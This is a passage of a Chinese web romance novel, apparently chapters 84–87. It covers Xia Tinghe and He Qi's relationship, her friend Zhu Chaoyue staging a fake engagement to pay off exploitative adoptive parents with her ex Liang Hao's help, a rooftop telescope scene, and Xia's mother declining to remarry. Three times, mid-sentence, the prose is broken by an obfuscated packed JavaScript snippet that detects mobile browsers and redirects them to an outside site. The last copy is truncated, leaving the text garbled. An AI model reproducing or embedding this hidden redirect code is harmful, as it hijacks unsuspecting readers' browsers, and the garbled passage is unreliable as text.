贺祁睡觉的时候会把手搭她腰上，每次感觉到她睡得不舒服了，就会低头边亲她边哄她。 都怪贺祁。 没了困意，夏汀禾就一直等着他洗完了澡出来。 “醒了？” 看到她坐在床边，皱着眉的模样，贺祁笑了下，慢条斯理地把睡衣的扣子扣上，问：“怎么刚起床就发脾气了？” 夏汀禾没回答，嗔怪地说：“你怎么洗这么久？” “昂。”贺祁点了下头，回她说：“你不是在睡觉？” “这和我在睡觉有什么关系？” 夏汀禾不明所以，站了起来，拿过旁边的外套准备穿上。 贺祁在这时候从背后抱住了她。 感觉到别的，夏汀禾瞬间脸红了些，贺祁在她身后笑了声，说：“弄醒你了，你不就更会生气了？” 其实上次贺祁抱她回来那次，也是她睡着的时候。 ……她还挺喜欢的。 这些夏汀禾自然是不会说出口的。 “不过现在醒了。”贺祁咬了下她的耳尖，低哑着声问：“那待会儿再下去吃早餐？” …… 说是早餐，其实结束后下了楼，已经是吃午餐。 夏汀禾在这时候打开手机看消息。 在她发了那条朋友圈后，宿舍群里已经艾特了她无数次问情况。 【汀妹你朋友圈是认真的吗？】 【不会是被贺祁逼着发的吧？他是不是对你做过分的事了？】 【还是在玩大冒险输了吗？】 【你们怎么都怀疑是假的。我看着还挺般配的呀】 …… 各说各的，什么想法的都有。 贺祁正好从厨房里端了午餐出来，无意瞥见第二条，低头又亲了亲夏汀禾的脖颈，慢悠悠道：“嗯，确实，刚刚才做完过分的事。” “你别吵我。” 夏汀禾把他推开了，给了室友回复。 贺祁还伤心起来了：“不给我看看？” “我记得之前在你室友那，我的印象都不怎么好。” 夏汀禾心说当然，谁叫你长了一张看着像是谈过八百个女朋友的脸。 “不要偷看别人的消息。”夏汀禾收起了手机，回他说：“我会帮你澄清的。” 看她一脸认真，像是把这事当作了物理题来思考，贺祁忍不住笑了起来，掐了一下她的脸。 “行，知道了。先吃完了东西再发。” 早餐是八宝粥和皮薄馅儿多的小笼包，包子不像是外面卖的，倒像是亲手做的。 夏汀禾咬了一口，问出了疑惑：“你在哪买的？” 贺祁看了眼她，回答说：“不是买的。我妈做的，送过来的。” 夏汀禾差点被噎住，说话都不利索了：“阿、阿姨什么时候回来了？” 不会是今天早上吧？ 贺祁勾了下嘴角，懒洋洋道：“就刚你在泡澡那会儿。” 那是他们做完了，贺祁抱着她去的，中途他下楼了一次，去给她拿晾在一楼阳台的内衣裤。 那肯定是知道她在家里过夜了。 夏汀禾瞬间红了脸，她开始拿贺祁撒气：“都是你，我都说不……那样了。” “别生气。”看她是真的害羞了，贺祁这才说了真话：“逗你的呢，她是昨天我们俩吵完架过来的。” “说怕你在我们家没东西吃，早餐老是点外卖也不好。” 贺祁拉开冰箱柜门给她看：“还做了其他的，都放冰箱了。” “那阿姨怎么知道我会在你家吃早餐？” “你说呢？”贺祁笑了下，“他们俩怕你害羞，旅游回家了一趟，知道你在这儿后，又去了朋友家玩。面点这些是在朋友家跟着学着做的。” 夏汀禾完全没想到是这么回事。 她磕磕绊绊地说：“那、那你赶紧叫叔叔阿姨回来吧，我以后都不会住这里了。” 贺祁倒是十分自在：“现在不用担心了，他们去国外逛了。要开学了才回来。” 夏汀禾已经无地自容了。 - 一直到祝朝月给夏汀禾打了电话，她才缓过劲来。 祝朝月问她有没有空，有点事想请她帮忙。 听她的语气比较认真，应该是什么重要的事，夏汀禾立即回复道：“有，现在吗？” “嗯，你现在可以过来一下吗？我发个地址给你。”说完，祝朝月想起来说：“贺祁那边……” “我和他已经没事了。” “好，那我等你过来，谢谢你了，汀禾。” 挂了电话，和贺祁简单两句说了情况，夏汀禾就拿了手机出门。 她不让贺祁去送，贺祁只好答应了，道：“那回来了我去接你。” 夏汀禾推开了门下楼。 她没想到打车的时候，在小区门口碰到了梁浩。 夏汀禾倏地停下了脚步。 梁浩也挺稀奇：“诶，夏汀禾？你刚去找贺祁了吗？我正打算去他家呢。” 夏汀禾点了点头，不便与他多说，简单聊了两句就上了出租车。 祝朝月约的地方是一家咖啡店，就在她之前上班的公司附近。 到了之后，夏汀禾才发现不止她一个，还有一个男生。 男生穿着白衬衫，戴着斯文的细边黑框眼镜，整体的气质是干净清爽的，年龄估摸着二十三、四岁。 两人桌上摆着甜品和咖啡，正说笑着，男生偶尔还会做些亲昵的举动，例如帮祝朝月撩撩头发，或者是拿纸巾擦嘴角。 看到这些，夏汀禾愣了愣。 这时祝朝月瞥到了她，扬手叫她过去。 夏汀禾不自在地坐在了他们对面，有些好奇但又不敢表现得太明显地看向男生。 这是祝朝月新谈的男朋友吗？ 她不由得想到了早上刚碰见面的梁浩。 没等她深想下去，男生起身去了下洗手间。 等人走后，祝朝月就笑了笑，问她：“你觉得他怎么样？” “啊？”猝不及防地被这么问，夏汀禾组织了下语言说：“挺好的。” 长相中等偏上，看着像是附近上班的精英人士，不油腻，有礼貌。夏汀禾一坐下，他就招手让服务员过来，给她点单。 “他是我前一阵子实习时候认识的同事，比我大三岁。” 夏汀禾还打算想些什么词语来夸，祝朝月又问她：“我们俩演得是不是还挺像那么回事？” “嗯？”夏汀禾眨了眨眼，“演？” “对啊。”祝朝月笑着说：“你真以为他是我男朋友啊？” 祝朝月这时候才和她说明了原因。 “我一直在存钱，其实就是为了有天能找个人嫁了。”祝朝月顿了顿，“不是真的嫁人，是做一场戏给我养父母看。” “他们能从我身上获得的太少，就算我每个月给他们打钱，也就只有一两千。我现在对他们唯一的用处，就是嫁出去，让他们从男方那拿到彩礼钱。” “这样也挺好，他们也一直以为嫁出去的女儿泼出去的水。只要我成家了，他们就不会再管我的事。” 夏汀禾很快反应过来——所以祝朝月现在是想让男生扮演来娶她的男朋友角色，演给养父母看。 “那钱呢？” 祝朝月回她说：“既然是假的，那就只能是我自己出了。我转给他，他再给我养父母。也当作是还给他们的养育之恩了。呸，狗屁养育之恩，就当是我甩他们脸上的。” 和夏汀禾猜的一样。 “婚礼、结婚证这些呢？” “这些他们根本不在乎，办的话还要浪费他们的时间和精力，他们巴不得拿了钱就让我赶紧走，最好我再也不要出现。” 祝朝月眼里闪过一丝凉薄和耻笑。 不过很快她又重新换上笑脸：“没事，这事过去之后，不就解脱了吗？挺好的。” “但我怕我演得不像，所以就叫你过来看看。” 夏汀禾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110211|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情也跟着变得沉重起来：“那你什么时候去见你的养父母？” “就明天吧。”祝朝月叹了口气，捂住了额头，“我真的太想逃离这个家了。即便以后我一无所有，也不会后悔。” “那我和你一起去。”夏汀禾握住了她的手。 祝朝月却拒绝了：“别，我养父见过你一次。我怕他找你麻烦。” “不会的。”夏汀禾坚持着，“万一有什么事发生，我应该还能帮上忙。” “你看你突然带男朋友回去，他们肯定没那么容易相信对吧？如果我作为你的好朋友证明的话，是不是就更有说服力一些？” 祝朝月这才答应了。 - 隔天，夏汀禾出门去餐厅。 贺祁好奇地问：“又是祝朝月找你？” 夏汀禾心虚地点点头“……嗯。” “怎么回事？”贺祁扯出一抹笑，调侃说：“老是占用我女朋友的时间。” 夏汀禾亲了亲他：“我晚上陪你。” 贺祁被她这一句话钓得心慌意乱，别过脸咳了下，道：“算了，谁让我们汀禾宝宝人缘这么好呢。” 贺祁和她在门口接了个几分钟的吻才放她走。 到了餐厅附近，还没过去，夏汀禾就看到了祝朝月的身影。 但不是她和男生，而是她和梁浩。 两个人正在争执不下。 夏汀禾迅速跑了过去。 祝朝月气恼地推开了梁浩：“我和你已经分手了，我的事不需要你插手。” 梁浩看她的眼里满是心疼，但说出来的话却是十分强硬：“反正我已经把人叫走了，你今天的戏也只能和我演。” “他知道你喜欢什么吗？了解你平时的忌口吗？清楚你生气、烦躁时候的小动作吗？” 夏汀禾是第一次见到梁浩这么强势。 在她以前的印象里，梁浩就是个无忧无虑的富二代、公子哥，性格无比随和，整个人纯粹的和白纸一样。 祝朝月以前也总和夏汀禾说，觉得他像一只欢乐小狗。 夏汀禾不知道梁浩从哪了解到了祝朝月的消息，但莫名地想，如果是梁浩陪在身边，祝朝月会没那么痛苦的吧。 她们两个的谈话中，祝朝月经常提起梁浩。 如果不是还喜欢着，会那么下意识地提及吗？ 但很快，夏汀禾就意识到自己错了。 祝朝月生气了。 她痛苦地吼了出来：“那我也不需要你！我不想被你看到这一面，看到我这么差劲的人生、这么破败不堪的家庭，你懂吗？” 夏汀禾一怔。 梁浩也愣住了。 他没想到得到的是这个回答。 他们分手了几个月，梁浩想过各种原因，唯独没有猜测到这点。 他以为是祝朝月和以前一样闹脾气了，过没多久就好了。 或者更深一层的，是祝朝月不喜欢他了，有别的喜欢的人了。 但都没想到是这样的。 比起这个，他宁愿是祝朝月因为有了新欢而踹了他。 因为出身在顺遂富裕的家庭里，梁浩从来没有感知到过祝朝月由于欠缺的物质条件和父母的爱带来的影响。 祝朝月和他说自己家里条件不错，他就信了。她说爸妈对她很好，他就应和说看得出来，不然也不会有她这么优秀的孩子。 祝朝月说什么他都相信。 即便是在骗他，他也从来不敢想象，自己在一起了两年多的女朋友会是在福利院长大的小孩，会是被养父母压榨着、在无尽的黑暗里摸爬滚打成长起来的人。 或许他早该猜到的。 祝朝月比他成熟多了，看事情也理智多了。 他以前不明白为什么给祝朝月买飞机票让她回家，她不乐意，偏偏愿意自己坐十几个小时的火车。 也单纯地以为她去实习、去兼职，是为了体验各种职业、以后再找一份自己喜欢的工作。 却从来没有想过这些都是迫不得已。 “对不起。” 他哽咽地说：“……我没想到这些。” 梁浩哭了。 当着祝朝月的面。 人生的第一次流泪，是因为心疼一个人。 第一次感受到锥心刺骨的痛，是来自于对心爱的人成长经历的共情。 85. 望远镜 梁浩赶走了男生，祝朝月只好又打了电话过去，和对方说明缘由。 男生有些难为情地说：“朝月，我以为他是你前男友呢，看着对你也挺好的，所以以为他是想和你复合，陪你来的。我没好意思打扰你们，就回公司上班了，现在是走不开了。” 本就是让人请了假过来的，现在人家手头上有事要忙，祝朝月也不好再三邀请，只能道了歉就挂了电话。 夏汀禾上前去挽住了她的手。 祝朝月叹了口气：“算了，下次吧……和他们说男朋友临时有事。” 她正打算发消息给养父母说，梁浩却站到了她面前。 “朝月，给我一次机会，可以吗？” 他说得十分认真，脸上已经没有了平日里嘻嘻哈哈的神情。 “事情是我弄砸的，理应我来完善。我不会用这个来威胁你和我在一起，你想怎么做都行。如果结束后你再也不想看到我，我立刻就走。以后还有用得上我的地方，你叫我，我随时都可以过来。” 祝朝月冷静地看着他，脑子里闪过无数的念头。 不过很快，养父母过来了。 她没有了选择的余地，梁浩先牵了她的手坐在了餐桌旁。 两个人看着像是平常的五六十岁夫妻，不过在见到梁浩一副公子哥的模样后，脸上乐呵呵的笑就止不住了。 两人连祝朝月都没搭理，一个劲地凑到了梁浩跟前。 “你就是朝月的男朋友是吧？长得正好看啊。听说是在大公司里当主管啊，家里有房有有车的，就是父母都不在了是吧？哎，没事，朝月这丫头嫁过去也是好命了。” 这些都是之前给男生编造出来的身份，梁浩没破坏祝朝月的计划，平常心地点头应下来。 养母絮絮叨叨起来，就没个完，还是一旁的养父拉着她坐下，先问清楚了实情。 “你们谈多久了？怎么认识的？” 梁浩先开了口回应：“两年了，我和朝月是同学。” 一些家常话题罢了。梁浩说的都是他们俩之间真实的事，也用不着慌乱。 祝朝月第一次看到他收起了吊儿郎当的模样，正经严肃起来，心里不知不觉有了触动。 因为是真的，养父问了半小时都没问出漏洞来。 没一会儿，上了菜，谈到了结婚的话题上。 养母开始了话题：“我们就朝月一个孩子，女大不由娘，你也是独生子，也应该明白养大一个孩子多不容易。” “朝月在家里又是被宠着长大的，平时从来没干过半点活，都是我和他爸在做。她性子烈，骂也骂不得，打也打不得，我们两个都是当大小姐伺候着。” 桌底下祝朝月和夏汀禾是握着手的。 从养母开始说话的那一刻，夏汀禾就感觉到她的手心在发凉，手指攥紧了。 她在痛苦、在害怕。 在夏汀禾想要说点什么的时候，梁浩突然打断了养母的话：“您应该是对朝月有误解。她性格脾气很好，平时对我也很包容照顾，是我见过最努力上进的女孩儿。我只觉得自己配不上她。” “所以请你不要在我面前说她的不好。” 这一刹那开始，夏汀禾感觉到祝朝月慢慢变得平静，手心回温。 养母完全没想到他会这么回话，瞬时哑口无言。 梁浩直接道：“您直说吧，需要多少您才同意我和朝月在一起？” 终于谈到了他们感兴趣的，养父母对视了眼，估摸着报了个数：“我们家乡的风俗，是得八、九万的。” 怕他觉得要得多了，说完，两人赶紧打了免责声明：“嫁过去了，就是你们家的人呢。就算她现在在读大学，后面可就不干我们的事了。这彩礼钱，也是要不回去的了。你可得清楚啊。” 几万块钱，就让他们心甘情愿地让女儿随便嫁给一个不知底细的人。 梁浩身侧的手也握紧了。 “好，那就依照您说的。” 夫妻俩乐开怀了：“好嘞，那什么婚礼不婚礼的，你们自己看着办吧。我是觉得没必要了，多累啊是吧？朝月还在上学呢。” 他们话题一转：“——就是这个钱，什么时候给呢？” “现在吧。” 梁浩直接问他们要了卡号，没多久，夫妻俩就收到了转账的消息。 转完，他直视着两人道：“但是我不太喜欢和长辈有太多的牵扯，所以希望你们以后不要来打扰我和朝月的生活。否则，到时候就别怪我没看在两位的面上了。” 两人连忙摆手：“不会的不会的。” 他们都是往高了去报的彩礼钱，没想到梁浩一口答应了。现在把他当成了家里的大恩人，自然是什么都听。 一餐饭吃完，夫妻俩装作好意地拍了拍祝朝月的肩膀：“朝月啊，以后要是领证了，你就是别人家的了，要好好听人家的话，别丢了我们家的脸面。” 梁浩用力把他们的手拍开了，搭在祝朝月的肩上，笑着道：“吃完了还不走的话，餐厅会对您二位不是会员的进行额外收费。那就不管我们的事了。” 两人一听还有这规矩，赶紧跑了。 把两个疯子送走后，梁浩回到了餐厅。 祝朝月仍旧坐在位置上，低着头的，泪水却不停地滴落。 夏汀禾拿纸帮她擦着眼泪，也无济于事。 两个人陪了她许久。 直到祝朝月平静下来，她自己擦干了脸，缓慢地站了起来，对梁浩说：“钱我会转给你的，今天的事，谢谢。” 她走出了餐厅，夏汀禾跟在她身边。 瞥见后面还有人，祝朝月没回头，只说了句：“以后就只是同学吧，别再喜欢我了。” 梁浩站住了脚。 夏汀禾和祝朝月一起回了家。 一到家，祝朝月就蒙头睡觉了。 没去打扰，夏汀禾帮她拉好了窗帘，调好空调，关上了门。 祝朝月的手机在这时候收到了消息。 可惜她睡着了，没看到了。 梁浩：【朝月，我从你第一次主动亲我的那一刻开始喜欢上你的，当时在心里发誓会喜欢你一辈子。你不会相信的，对吧？我知道你并不相信永远。】 梁浩：【那我就只告诉你，我希望可以再陪你走得远一点，直到你不再需要我。】 - 年关将至，夏汀禾最后又在学校里待了几天，完善了一些论文细节，就准备回家了。 回了出租屋收拾东西，看到祝朝月坐在沙发上追剧，哈哈大笑着，她问了一句：“朝月，你过年要不去我家玩？我家里也没多少亲戚，就我舅舅一家，他们都认识你的。” 脱离了养父母，祝朝月先是大睡了两天的觉，后来恢复了精气神就开始和往常一样健身锻炼、泡图书馆、拉着夏汀禾去逛街了…… 那天之后，夏汀禾没听她再提起过梁浩的名字，虽说梁浩仍旧没有放弃，时不时地会来找她，但祝朝月终究还是没有答应。 这是祝朝月的决定，夏汀禾不会干涉。 只是马上过年了，她还一个人的话，夏汀禾总归是不太放心的。 “不用啦。”祝朝月扭过头来回她，“我报了一个去北方的旅游团，打算过年期间去玩玩。” “旅游团？”夏汀禾惊讶了。 “对啊。”祝朝月跑过来拿手机给她看，“你看，我之前就想去这里看风景了，但是一直都没时间去。现在正好有空啦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119117|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看了几张照片，夏汀禾羡慕了：“我很想去这里滑雪的。” “那来呀，我等你。”祝朝月朝她眨了眨眼，“我会在那边待差不多一个月。那边有个咖啡店里有我认识的朋友，她介绍我去做兼职到开学。” 夏汀禾有些心疼：“你不休息下吗？” 祝朝月笑得很开心：“不休息。从现在开始，我所有的行动都可以是只考虑我自己、只为了我自己，再也没有任何人阻碍了，我高兴还来不及呢。” 两个人就这么敲定了寒假一起去滑雪的计划。 晚上夏汀禾照例去找了贺祁，想和他说要回家的事。 贺祁却不在家。 她打了电话过去问，才知道贺祁出去了。 “你在哪？” 贺祁回她说：“上次带你来看展览的地方，还记得么？” “记得啊。”夏汀禾愣了愣，“但你不是说不能再去看了吗？” “本来是不准的。”贺祁笑了起来，不着调地回她说：“但我和他说，我女朋友特别喜欢，能不能给个特许。” 夏汀禾不可置信：“他就答应了？” “昂。” 夏汀禾迫不及待地说：“那我现在就过去。你让他再多宽限一点时间嘛。” 贺祁回她道：“可以宽限，但有点要求。” 夏汀禾：“什么要求？” 贺祁不肯透露：“你到了就知道了。” - 十几分钟后，夏汀禾抵达了目的地。 贺祁在门口等着她，见她过来了，脸上不自觉地浮现出笑容。 “这边。”他招了下手。 等夏汀禾过来了，贺祁习惯性地低头亲了下她，才搭上她的肩膀，一块儿走了进去。 “所以要求是什么？还剩多少时间呀？” “别着急。”贺祁推着她走，“先逛着。” 夏汀禾再次踏入了这座仿佛只有他们俩来过的展馆。 她隐隐约约感觉到，这回是比上次布置得更加完善些了。 她一步步地走过去，直到走到了之前说是还在装修，不准看的地方。 “现在可以过去了吗？”她问贺祁。 贺祁看向她，道：“可以，只要你答应待会儿的要求。” 贺祁总不会是骗她的。 夏汀禾鼓起勇气，走了过去。 看到的却是一扇门。 贺祁回她说：“在楼上。” 夏汀禾只好又上了楼。 上去后才发现，他们到了楼顶的天台。 夜色朦胧，月亮高悬，只有门上的一盏灯照亮这一方地，但也不妨碍在天台上俯瞰城市的夜景。 在天台中间的位置，摆了一架望远镜，旁边是连接的各种拍照设备。 这一刻，夏汀禾明白过来。 展览是贺祁为她准备的。 这些也是。 看到她微怔的模样，贺祁笑了下，解释说：“楼下那些照片是我以前去各个地方观测拍下的。本来是想上次去国外，和你一起补全最后一点，但你没去，所以就想到了这个方法。” 贺祁站在夏汀禾的身后，握着她的手，放在了望远镜上。 他的下巴抵在她肩膀上，半搂着她，轻声道：“不管今天能不能拍到想看的，和你一起的，都是最珍贵的。” 因为你就是最璀璨、最耀眼的。 第一次听他这么正经地说情话，夏汀禾不由得红了脸，磕磕绊绊地问：“那你刚才说的要求呢？” “要求啊。” 贺祁笑了笑，拖长了音调，随后对她说： “从今以后，你只能喜欢我。” 我也只属于你。 86. 团圆 隔天，夏汀禾回了家。 蔺妤正好也放了假，夏汀禾到家时，她正在打扫家里的卫生。 听见了动静，蔺妤皱着眉把抹布丢进了水池里，洗了手，过去帮她提行李。 瞧见只有她一个人，多问了句：“贺祁没跟你一起回来？” “嗯？”夏汀禾还沉浸在她妈妈主动做家务的惊讶之中，被这么一问才意识到她说了什么，顿时害羞起来。 “……他来干什么。” 他们又还没有更近一步的发展，也没有这么快需要见家长吧？ 蔺妤倒是觉得平常：“上次不是和你说，确认了关系就带回来给我看看吗？” 夏汀禾不好意思道：“……哦，那我回头和他说。” 放下了东西，夏汀禾帮着妈妈一起收拾。 以前蔺妤是从来不会做这些事的，一个是没时间，一个是她也很少在家里住，所以一般都是定期请保洁上门打扫。 今天得知夏汀禾会回来，她突然就冒出了这样的念头——让女儿回来看到一个干净整洁的屋子，好像这是很多家长会做的事。 母女俩有条不紊地收拾着，时不时聊下天，倒也轻松自在。 直到有电话打来。 是蔺妤放在沙发上的手机响了。夏汀禾靠得近，便拿了起来给她。 她看了眼备注。 原以为是妈妈的同事，没想到是夏景年。 蔺妤正在处理许久未用的吸尘器，看到夏汀禾过来，没接，只问她：“谁的电话？” 夏汀禾有点拗口地喊出称呼：“爸爸打过来的。” 蔺妤点了点头，说：“嗯，接通，按免提吧。” 夏汀禾照做了，指尖滑动时，心跳也跟着加速了。 隔了会儿，那边传来夏景年温润的声音。 “汀禾是今天会回家吗？你要不要带她过来她爷爷奶奶这边吃顿饭？” 夏汀禾更没想到他先提起的是自己。 她从小就是爸爸妈妈带着的，和爷爷奶奶关系并不亲，后来蔺妤和夏景年离婚了，跟二位老人家几乎就没再见过面了。 以往过年，夏景年也从未提起要一家团聚的事。 蔺妤抬眸看向夏汀禾，直接问她：“想去么？” 因为已经陌生了许久，夏汀禾内心是抵触的，但又觉得是不是她答应了，可以给爸妈制造一点相处的机会，所以又开始犹豫起来。 蔺妤于是对着电话回了一句：“到时候再说吧。你还有什么事？” 夏景年那边被噎了一下，想了想，似乎还真没什么好说的。 停了许久，才又道：“我上次和你提的事，你考虑好了吗？” “没有。”蔺妤果断地回了一声。 “哦。”夏景年笑了下，“也不着急。等你想好了，再告诉我。” “嗯，那就挂了吧。我现在挺忙的。” 什么事？ 夏汀禾并不知道他们最近有联系过。 三言两语，挂断了电话，蔺妤没再继续打扫，她摘了戴着的橡胶手套，换了身衣服，在沙发上坐下。 “汀禾。” 听完了他们全程的交流，夏汀禾本来还心不在焉地晾着衣服，这下听到妈妈喊她，立即回过神跑了过去。 蔺妤让她坐在了自己旁边。 “你刚刚也听到了电话。所以现在是有两件事想和你说——你想去爷爷奶奶那吗？” 夏汀禾先问了她的意见：“妈妈你想我去吗？” 如果得到了蔺妤的准许，那大概率她是会带着自己一起去的，这样才是有意义的。 蔺妤也没直接回答：“嗯，你现在不确定，那就先听第二件。你爸前段时间找了我，说想复婚。” 心脏猛地一跳。 虽说夏汀禾刚刚已经隐隐约约有猜到这上面来，但她根本不敢想。 蔺妤和夏景年已经离婚了十几年，要是有可能的话，应该早就和好了，何必拖到了现在。 “我还没答应。”蔺妤补充上了自己的态度。 “我知道你是希望我和你爸复婚的，是吧？” 相处了二十年，蔺妤哪能不知道自己女儿在想什么。 夏汀禾没否认：“嗯。” 她很快又说：“但这是妈妈你的婚姻，你的人生，所以我并不希望你因为我改变，去做决定。” 夏汀禾看着蔺妤，认真道：“比起你们俩在一起，我更想看到你幸福。” 蔺妤愣住了。 因为她知道夏汀禾一直渴望来自父母的关心，希望能像别人那样做什么都有父母陪着，所以蔺妤始终犹豫不决。 她是在最近才感知到自己破碎的婚姻带给孩子的影响，她亏欠夏汀禾太多，也已经错过了她的成长。 那么能补救的方法，就是现在——和夏景年复婚，给她一个至少表面上看起来圆满的家庭。 只是她没想到夏汀禾会把她的感受放在第一位。 “而且其实。”夏汀禾握了下蔺妤的手。 许久许久，内心有些触动，因为感觉到妈妈的手是温热的。 “而且其实，就现在这样的话也挺好的。不是吗？” 夏汀禾对着她笑了笑。 “就只有我和妈妈，还有舅舅的生活，也很开心啊。” 蔺妤看着这张眉眼之间都和自己有几分相似的脸，一时间说不出话来。 她不自觉地也跟着笑了起来，心里有了决断，她回应说：“好，我知道了。” - 夏汀禾不知道蔺妤最后是做了什么选择。 一直到第二天，夏景年来了家里，她才明白。 这是大扫除完后的家庭聚餐，舅舅一家也过来吃饭了。 夏景年刚上门时，脸上带着欣喜的笑，但很快就意识到不对劲了。 开始吃饭之前，蔺妤先说了话：“你前段时间问的，我已经考虑好了。今天当着家里人的面，就说明白吧。” 一桌子的人看向了她。 夏汀禾也莫名地开始紧张起来。 直到蔺妤掷地有声地说：“我不会和你复婚的，所以吃完这顿饭，你就走吧。以后也别来找我了。” 夏景年的脸色瞬间一变。 这个答案是夏汀禾意料之外的，但她莫名地，也并不惊讶。 蔺妤继续道：“我们俩离婚，最对不起的是汀禾。我本来以为可能我和你复婚可以挽救，但后来才想明白，其实很多东西已经迟了。” “这是我无法否认的，但除了汀禾。”夏景年步步紧逼，“蔺妤，我不相信你对我没有感情了。” 蔺妤想了想，回答说：“可能还有。” “但要真说起来，好像也不过尔尔。” 感情上的需求无非来自于爱人、亲人、朋友，蔺妤以前觉得离婚了就等同于一切情感都切割了，然而回过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贺祁每次都无赖，聊着聊着就跑偏了话题，弄得夏汀禾都得戴好了耳机，关好了门，才敢和他说话。 “才没有。”夏汀禾反驳了他一句。 贺祁正要低头去亲她，忽地听到有人往这边过来，他立即止住了，变成了一副正人君子模样，十分大言不惭地问： “还有什么要帮忙的？我来吧。” 夏汀禾：“……” 夏汀禾都没眼看他了。 舅妈只看到这一幕，当即就说：“哎呀，汀禾的男朋友。你是客人，头一回上门就带了这么多礼，哪能让你来帮忙。” 经过的蔺妤往里面瞥了下，一眼就看出了是什么情况。 这哪是帮忙，分明就是一来就缠上了自己女儿。 夏汀禾也被搅弄得没了心思。 蔺妤当即对夏汀禾道：“和他出去逛逛吧。吃饭了再回来也不迟。” 夏汀禾只好带着贺祁出了门。 她红了脸，一出门就忍不住捶了下贺祁：“都是你。” 夏汀禾自然是听出了蔺妤的意思。 “我又怎么了？”贺祁笑了下，“咱妈不是叫我们俩出来逛吗？” “她是我妈。” “嗯，以后也是我妈。要是你不喜欢，那就说岳母好了。” 夏汀禾不想再和他计较了。 说是逛街，两个人吵吵闹闹地走了一路，后来停下来了，就站在路边接吻。 对视着，拥抱着彼此。 如此温暖。 87. 路口 家里没有多余的房间，贺祁也没打算在第一次见家长就住到人家家里去，于是提前就在夏汀禾家的附近订了酒店。 到了晚上，两人不得不分开时，贺祁让夏汀禾送他。 “我送你回酒店？”夏汀禾不可置信。 不应该是他送自己吗？ “昂。”贺祁理所应当地回答：“我今天是客人。” 蔺妤今天少见地也没给她规定门禁时间，夏汀禾只好答应了。 到了酒店后，两个人亲了下准备分别。真要离开了，夏汀禾又有些不舍了。 “再亲一下。”夏汀禾搂住了他的脖颈，眨了眨眼。 贺祁根本没办法抵抗，直接抱着她坐在了沙发上深吻。 直到快要控制不住了，贺祁才及时止住了。 他帮夏汀禾整理好衣服，在她耳边低笑着说：“还亲今晚就别想走了。” 感觉上来了，其实夏汀禾也有点想了的，但保持着一点理智，她还是没和贺祁继续下去。 她想出办法来：“你明天早上还在酒店对吧？” “嗯。”贺祁点点头，“怎么了？” “那你等我来找你。” “要干嘛？”贺祁咬了下她的耳朵，低声说了两个字。 “不准说。”夏汀禾红着脸凶了他一下。 贺祁宠溺地笑了下：“行，知道了。” 夏汀禾直接凑过去咬了他的嘴唇，堵住了他的话。 - 寒假本也就一个多月，一晃眼过去，回到了学校，夏汀禾更加忙了起来。 大三下的课程并没有轻松多少，除了日常的上课，她还得一边准备雅思，一边忙论文。 唯一闲下来的时候，也只有开学时室友帮她庆祝上学期考第一的事。 “这次总不是靠运气了吧汀妹？求你传授我经验。”黎穗缠着她说。 宁苒跟着应和：“对啊，汀妹你都连续两个学期比付言辞成绩高了，这绝对不是意外！” 夏汀禾小声谦虚了下：“也只是考试成绩啦。” 综合其他的各种论文、竞赛等等加分项，她还是排在付言辞的后面。 黎穗摇了摇头，坚决地说：“还有几个学期呢，我们期待你拿下专业第一，这样传出去还可以说我们有个超级无敌学霸室友！” 宁苒补了一句：“还是狠狠拒绝了暗恋对象的表白，并且疯狂超过了他一波！想想就很爽。” 夏汀禾虽然并没有把谁当作自己的竞争对手，但也同时在考虑自己在大学里参与的活动是不是太少了，缺少了体验。 她思索着要不要临时去参加一个竞赛什么的。 正好这时候以前帮助过的学妹找到了她的宿舍，问夏汀禾能不能帮忙指导他们的物理竞赛。 学妹礼貌地说：“如果学姐你加入我们的话，那肯定是你的贡献最大，所以你就来当项目的负责人吧，我们其他人都非常赞同。” 负责人是加分最多的，也是含金量最高的。 夏汀禾想了想，拒绝了。 项目负责人需要组织协调各种事情，她没有那么多时间。除去这个原因，她也知道这对于低年级来说是很好的锻炼，把机会让给需要的人更好。 于是在原本的任务中，又多了竞赛这一项。 成功组队后，夏汀禾意外地发现，和学妹组队的竟然还有之前滑雪时碰见的男生。 原来他竟然也是Q大的。 第一次开会结束，男生就跟了上来，笑得甜美地说：“没想到在这里还能碰到姐姐你啊。哦，现在应该叫学姐了对吧？” “学姐和我一起去食堂吃饭吗？”男生凑到她面前，眼神天真无辜。 “不了。”夏汀禾重新说了一遍：“我有男朋友了。” 男生没放在心上：“那又怎么样？万一哪天你们分手了呢？” “而且我不介意姐姐你脚踏两只船啊。” 夏汀禾对他无话可说。 直到贺祁出现。 他还没说什么呢，只是走到夏汀禾的身边，淡淡地看了男生一眼。 男生的朋友立即拉着他跑了。 夏汀禾听见他们在窃窃私语。 “你真是不要命啦！学姐的男朋友是超级无敌醋王，你要敢惦记学姐，没有好下场的！” 夏汀禾：“……” 她也是第一次知道贺祁的名声已经传成了这样。 担心贺祁吃醋，夏汀禾又踮脚亲了亲他，先声明说：“我早就拒绝他了。” “噢。”贺祁漫不经心道：“看起来就没有什么竞争力，我也没把他放在心上。” 